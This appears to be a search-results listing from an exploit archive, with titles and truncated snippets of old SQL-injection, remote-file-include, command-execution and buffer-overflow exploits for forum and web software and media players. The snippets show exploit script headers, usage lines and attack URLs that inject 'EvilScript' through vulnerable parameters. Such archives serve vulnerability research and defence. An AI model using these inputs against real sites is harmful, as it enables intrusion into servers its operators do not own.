436 matches found
XOOPS <= 2.0.11 xmlrpc.php SQL Injection Exploit
No description provided by source. !/usr/bin/perl Xoops = 2.0.11 xmlrpc.php sql injection exploit by RST/GHC based on http://www.gulftech.org/?node=research&articleid=00086-06292005 coded by 1dt.w0lf RST/GHC http://rst.void.ru http://ghc.ru example: r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php ...
PBLang <= 4.65 - Remote Command Execution Exploit (2)
No description provided by source. ?php | | | PBLang = 4.65 remote commands exec exploit | | tested on 4.65 | | coded by Pengo 2005 RST/GHC | | http://rst.void.ru | | http://ghc.ru | | | WARNING! This exploit is successfully work when magicquotesrpc off = D:\httpd\phpphp.exe ..\www\r57pblang465.p...
YaBB SE <= 1.5.5 - Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl YaBB SE version = 1.5.5 commands execution exploit by RST/GHC GUI version = THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE KEEP IT PRIVATE coded by 1dt.w0lf http://rst.void.ru http://ghc.ru use Tk; use Tk::Menu; use LWP::UserAgent; $top = MainWindow-new...
SourceForge <= 1.0.4 (database.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl SourceForge-1.0.4 remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://lbdpc15.epfl.ch/ibd/IBD2000/SourceForge-1.0.4.tgz Exploit: http://site.com/path/include/database.php?sysdbtype=EvilScript coded and f0und3d by...
Invision Power Board 2.1 <= 2.1.6 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...
miniBB keyword_replacer <= 1.0 (pathToFiles) File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- miniBB keywordreplacer = 1.0 pathToFiles Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian...
CASTOR <= 1.1.1 (lib/rs.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl CASTOR = 1.1.1 Remote Command Execution Vulnerability Risk : High Remote Code Execution Url: svn.gna.org/svn/castor/trunk Exploit: http://www.site.com/path/lib/rs.php?rootpath=EvilScript coded and f0und3d by Kw3RLn ciriboflacsATYaHOo.com Romanian...
Genepi <= 1.6 (genepi.php) Remote File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- Genepi = 1.6 topdir Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...
SL_Site <= 1.0 (spaw_root) Remote File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- SLSite = 1.0 spawroot Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...
Invision Power Board <= 2.1.5 (lastdate) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions = 2.1.5 tested on 2.1.4, 2.0.2 coded by 1dt.w0lf RST/GHC http://rst.void.ru http://ghc.ru use IO::Socket; use Getopt::Std; getoptsl:h:p:d:f:v:; $host = $opth; $dir =...
Mediacoder (.lst) - SEH Buffer Overflow
No description provided by source. !/usr/bin/python import os import sys from struct import pack from time import sleep if os.name == nt: os.systemcls os.systemcolor 3f else: os.systemclear print +Exploit Title: All Mediacoder Product SEH Buffer Overflow +Download All Product:...
MercuryBoard <= 1.1.4 - SQL Injection Exploit
No description provided by source. !/usr/bin/perl MercuryBoard =1.1.4, MySQL = 4.1 sql injection exploit by RST/GHC note: you need first register on forum for get id and login after what logout from forum and run exploit note2: edit timestamp in sources if exploit not work ; coded by 1dt.w0lf...
Multiple Vendor TCP Sequence Number Approximation Vulnerability (4)
No description provided by source. source: http://www.securityfocus.com/bid/10183/info A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to...
NuralStorm Webmail <= 0.98b (process.php) Remote Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- NuralStorm Webmail = 0.98b Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...
CentiPaid <= 1.4.2 centipaid_class.php Remote File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- CentiPaid = 1.4.2 absolutepath Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...
Mediacoder (.m3u) - SEH Buffer Overflow
No description provided by source. !/usr/bin/python import os import sys from struct import pack from time import sleep if os.name == nt: os.systemcls os.systemcolor 3f else: os.systemclear print +Exploit Title: All Mediacoder Product SEH Buffer Overflow +Download All Product:...
Invision Gallery <= 2.0.7 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Gallery version = 2.0.7 sql injection exploit coded by 1dt.w0lf RST/GHC THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE KEEP IT PRIVATE use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = r57ig207 ;...
aktiv-player 2.9.0 - Crash PoC
No description provided by source. !/usr/bin/python Exploit Title: aktiv-player version 2.9.0 Crash PoC Exploit Author: metacom RST Vendor Homepage: http://www.goforsharing.com/home-mainmenu-1/aktiv-player-mainmenu-131.html Tested on: Windows 7 German filename = poc.wma buffer = \x41 3000 exploit...
phpBB Static Topics <= 1.0 [phpbb_root_path] File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- phpBB Static Topics = 1.0 phpbbrootpath Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Securi...
FreeIPS 1.0 Protected Service Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10541/info It is reported that FreeIPS is susceptible to a denial of service vulnerability. FreeIPS scans TCP connections for particular strings, defined by regular expressions. If a packet matches the regular expression,...